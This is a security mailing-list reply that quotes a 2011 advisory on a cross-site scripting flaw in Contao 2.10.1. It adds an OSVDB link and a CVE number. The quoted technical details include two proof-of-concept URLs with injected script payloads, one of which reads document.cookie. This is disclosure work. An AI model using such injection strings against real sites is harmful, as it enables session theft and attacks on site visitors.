Re: Contao 2.10.1 Cross-site scripting vulnerability

[Henri Salo <henri@xxxxxxx>]

On Sat, Oct 08, 2011 at 07:59:27AM +0000, sschurtz@xxxxxxxxxxx wrote:
> Advisory:                     Contao 2.10.1 Cross-site scripting vulnerability
> Advisory ID:                  SSCHADV2011-025
> Author:                       Stefan Schurtz
> Affected Software:    Successfully tested on Contao 2.10.1
> Vendor URL:           http://www.contao.org/
> Vendor Status:        fixed
> CVE-ID:                       -
> 
> ==========================
> Vulnerability Description:
> ==========================
> 
> Contao 2.10 is prone to multiple Cross-site scripting vulnerability
> 
> ==================
> Technical Details:
> ==================
> 
> http://<target>/contao-2.10.1/index.php/teachers.html?"/><script>alert('xss')</script>
> http://<target>/contao-2.10.1/index.php/teachers/'"</style></script><script>alert(document.cookie)</script>
> 
> =========
> Solution:
> =========
> 
> - Vendor patch available - 
> http://dev.contao.org/projects/typolight/repository/revisions/1041
> - Release of a new version 2.10.2 next week
> 
> ====================
> Disclosure Timeline:
> ====================
> 
> 07-Oct-2011 - informed developers (contao@xxxxxxxxxxxxxx)
> 07-Oct-2011 - vendor fix
> 08-Oct-2011 - release date of this security advisory
> 
> ========
> Credits:
> ========
> 
> Vulnerability found and advisory written by Stefan Schurtz.
> 
> ===========
> References:
> ===========
> 
> http://www.contao.org/
> http://dev.contao.org/projects/typolight/repository/revisions/1041
> http://www.rul3z.de/advisories/SSCHADV2011-025.txt

http://osvdb.org/show/osvdb/76293
CVE-2011-4335

- Henri Salo